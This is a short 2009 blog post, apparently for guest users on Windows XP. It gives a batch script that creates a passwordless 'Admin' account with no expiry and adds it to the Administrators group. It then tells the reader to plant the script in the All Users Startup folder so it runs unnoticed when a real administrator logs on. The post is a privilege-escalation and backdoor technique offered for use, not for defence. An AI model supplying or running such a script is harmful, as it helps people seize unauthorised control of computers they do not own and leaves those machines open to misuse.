Sunday, May 17, 2009

Create a admin account for guest in xp

@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin

now copy this to notepad and save as admin.bat

copy the file to the statup folder.
here is the path of startup folder.


C:\Documents and Settings\All Users\Start Menu\Programs\Startup


when the admin logs on the batch file runs and the admin acc is created...

so nxt time u log on u can use the username:admin
password:no

0 comments:

Post a Comment